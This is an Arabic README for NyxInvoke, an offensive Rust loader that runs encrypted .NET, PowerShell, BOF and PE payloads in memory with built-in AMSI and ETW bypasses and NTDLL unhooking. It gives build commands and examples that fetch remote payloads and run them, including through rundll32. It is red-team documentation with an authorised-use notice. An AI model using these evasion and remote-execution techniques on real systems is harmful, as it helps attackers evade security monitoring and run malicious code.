NyxInvoke

NyxInvoke هي أداة متعددة الاستخدامات مبنية بلغة Rust، مصممة لتنفيذ تجميعات .NET، أوامر/سكربتات PowerShell، ملفات كائنات Beacon (BOFs) وملفات PE، مع إمكانيات مدمجة لإلغاء ربط Ntdll وتجاوز AMSI وETW بدون ترقيع. يمكن بناؤها إما كملف تنفيذي مستقل أو كمكتبة DLL.

الميزات

• تنفيذ تجميعات .NET
• تشغيل أوامر أو سكربتات PowerShell
• تحميل وتنفيذ ملفات كائنات Beacon (BOFs)
• تحميل وتنفيذ ملفات PE (EXEs)
• تجاوز مدمج لـ AMSI (واجهة فحص البرامج الضارة) بدون ترقيع
• تجاوز مدمج لـ ETW (تتبع الأحداث في Windows) بدون ترقيع
• إلغاء ربط NTDLL مدمج دون تشغيل رد الاتصال "PspCreateProcessNotifyRoutine"
• دعم الحمولات المشفّرة مع فك التشفير عبر AES
• خيارات إدخال مرنة: ملفات محلية، روابط URL، أو بيانات مضمّنة وقت البناء
• دعم البناء المزدوج: يمكن بناؤه كملف تنفيذي أو كمكتبة DLL

البناء

يمكن بناء NyxInvoke إما كملف تنفيذي أو كمكتبة DLL. استخدم الأوامر التالية:

ملف تنفيذي

cargo +nightly build --release --target=x86_64-pc-windows-msvc --features exe --bin NyxInvoke

DLL

cargo +nightly build --release --target=x86_64-pc-windows-msvc --features dll --lib

لتضمين بيانات CLR أو BOF أو PE المبنية مسبقًا، أضف الميزات المقابلة:

cargo +nightly build --release --target=x86_64-pc-windows-msvc --features=exe,compiled_clr,compiled_bof,compiled_pe --bin NyxInvoke

أو

cargo +nightly build --release --target=x86_64-pc-windows-msvc --features=dll,compiled_clr,compiled_bof,compiled_pe --lib

الاستخدام

وضع الملف التنفيذي

يدعم الملف التنفيذي أوضاع التشغيل الرئيسية التالية:

1. وضع CLR (تنفيذ تجميعات .NET)
2. وضع PowerShell
3. وضع BOF (تنفيذ ملفات كائنات Beacon)
4. وضع PE (تنفيذ ملفات PE)

الصيغة العامة

NyxInvoke.exe <mode> [OPTIONS]

حيث يكون <mode> واحدًا من: clr، ps، bof أو pe.

وضع DLL

عند البناء كمكتبة DLL، يمكن تنفيذ NyxInvoke باستخدام rundll32. الصيغة هي:

rundll32.exe NyxInvoke.dll,NyxInvoke <mode> [OPTIONS]

الخيارات الخاصة بكل وضع

1. وضع CLR:

Execute Common Language Runtime (CLR) assemblies

Usage: NyxInvoke.exe clr [OPTIONS]

Options:
  -a, --args <ARGS>...            Arguments to pass to the assembly
  -b, --base <URL_OR_PATH>        Base URL or path for resources
  -k, --key <KEY_FILE>            Path to the encryption key file
  -i, --iv <IV_FILE>              Path to the initialization vector (IV) file
  -f, --assembly <ASSEMBLY_FILE>  Path or URL to the encrypted assembly file to execute
  -u, --unencrypted               Whether the assembly is unencrypted (default is encrypted)
  -h, --help                      Print help (see more with '--help')

Example: NyxInvoke.exe clr --assembly payload.enc --key key.bin --iv iv.bin --args "arg1 arg2"

2. وضع BOF:

Execute Beacon Object Files (BOF)

Usage: NyxInvoke.exe bof [OPTIONS]

Options:
  -a, --args <ARGS>...      Arguments to pass to the BOF
  -b, --base <URL_OR_PATH>  Base URL or path for resources
  -k, --key <KEY_FILE>      Path to the encryption key file
  -i, --iv <IV_FILE>        Path to the initialization vector (IV) file
  -f, --bof <BOF_FILE>      Path or URL to the encrypted BOF file to execute
  -u, --unencrypted         Whether the BOF is unencrypted (default is encrypted)
  -h, --help                Print help (see more with '--help')

Example: NyxInvoke.exe bof --bof payload.enc --key key.bin --iv iv.bin --args "arg1 arg2"

3. وضع PE:

Execute Portable Executable (PE) files

Usage: NyxInvoke.exe pe [OPTIONS]

Options:
  -a, --args <ARGS>...      Arguments to pass to the PE
  -b, --base <URL_OR_PATH>  Base URL or path for resources
  -k, --key <KEY_FILE>      Path to the encryption key file
  -i, --iv <IV_FILE>        Path to the initialization vector (IV) file
  -f, --pe <PE_FILE>        Path or URL to the encrypted PE file to execute
  -u, --unencrypted         Whether the PE is unencrypted (default is encrypted)
  -h, --help                Print help (see more with '--help')

Example: NyxInvoke.exe pe --pe payload.enc --key key.bin --iv iv.bin --args "arg1 arg2"

4. وضع PowerShell:

Execute PowerShell commands or scripts

Usage: NyxInvoke.exe ps [OPTIONS]

Options:
  -c, --command <PS_COMMAND>  PowerShell command to execute
  -s, --script <PS_SCRIPT>    Path or URL to the PowerShell script to execute
  -h, --help                  Print help (see more with '--help')

Examples:
NyxInvoke.exe ps --command "Get-Process"
NyxInvoke.exe ps --script script.ps1

أمثلة

وضع الملف التنفيذي

1. وضع CLR (تنفيذ عن بُعد):

   root@kitploit:~

   NyxInvoke.exe clr --base https://example.com/resources --key clr_aes.key --iv clr_aes.iv --assembly clr_data.enc --args arg1 arg2
   

2. وضع PowerShell (تنفيذ سكربت):

   root@kitploit:~

   NyxInvoke.exe ps --script C:\path\to\script.ps1
   

3. وضع BOF (تنفيذ محلي):

   root@kitploit:~

   NyxInvoke.exe bof --key C:\path\to\bof_aes.key --iv C:\path\to\bof_aes.iv --bof C:\path\to\bof_data.enc --args "str=argument1" "int=42"
   

4. وضع PE (تنفيذ مُجمَّع):

   root@kitploit:~

   NyxInvoke.exe pe --args arg1
   

وضع DLL

1. وضع CLR (تنفيذ عن بُعد):

   root@kitploit:~

   rundll32.exe NyxInvoke.dll,NyxInvoke clr --base https://example.com/resources --key clr_aes.key --iv clr_aes.iv --assembly clr_data.enc --args arg1 arg2
   

2. وضع PowerShell (تنفيذ أوامر مباشرة):

   root@kitploit:~

   rundll32.exe NyxInvoke.dll,NyxInvoke ps --command "Get-Process | Select-Object Name, ID"
   

3. وضع BOF (تنفيذ مُجمَّع):

   root@kitploit:~

   rundll32.exe NyxInvoke.dll,NyxInvoke bof --args "str=argument1" "int=42"
   

4. وضع PE (تنفيذ محلي بدون تشفير):

   root@kitploit:~

   rundll32.exe NyxInvoke.dll,NyxInvoke pe -u --pe C:\path\to\pe.exe --args arg1 arg2
   

موارد الاختبار

في مجلد resources، ستجد عدة ملفات لاختبار وظائف NyxInvoke:

1. تجميعية CLR مشفّرة (Seatbelt):

   • الملف: clr_data.enc
   • الوصف: نسخة مشفّرة من أداة Seatbelt، وهو مشروع C# لجمع معلومات النظام.
   • مثال الاستخدام:
     root@kitploit:~

     NyxInvoke.exe clr --key resources/clr_aes.key --iv resources/clr_aes.iv --assembly resources/clr_data.enc --args AntiVirus
     

2. BOF مشفّر (Directory Listing):

   • الملف: bof_data.enc
   • الوصف: ملف كائنات Beacon مشفّر يعرض أذونات المستخدم للملف المحدد، مع دعم أحرف البدل.
   • مثال الاستخدام:
     root@kitploit:~

     NyxInvoke.exe bof --key resources/bof_aes.key --iv resources/bof_aes.iv --bof resources/bof_data.enc --args "wstr=C:\Windows\system32\cmd.exe"
     

3. ملف PE مشفّر (صندوق رسائل):

   • الملف: pe_data.enc
   • الوصف: ملف PE مشفّر يعرض صندوق رسائل منبثقة.
   • مثال الاستخدام:
     root@kitploit:~

     NyxInvoke.exe pe
     

4. PowerShell (صندوق رسائل):

   • الملف: ps.ps1
   • الوصف: سكربت PowerShell يعرض صندوق رسائل منبثقة.
   • مثال الاستخدام:
     root@kitploit:~

     NyxInvoke.exe ps -s http://example.com/ps.ps1
     

لقطة الشاشة

• تنفيذ CLR مُجمَّع كـ DLL

• تنفيذ BOF عن بُعد عبر EXE

• تنفيذ EXE مُجمَّع كـ DLL

• تنفيذ سكربت PowerShell عبر DLL

إشعار قانوني

هذه الأداة مخصصة للأغراض التعليمية والاختبار المصرح به فقط. تأكد من حصولك على الأذونات المناسبة قبل الاستخدام في أي بيئة.

الاعتمادات

• @yamakadi لمشروع clroxide
• @hakaioffsec لمشروع coffee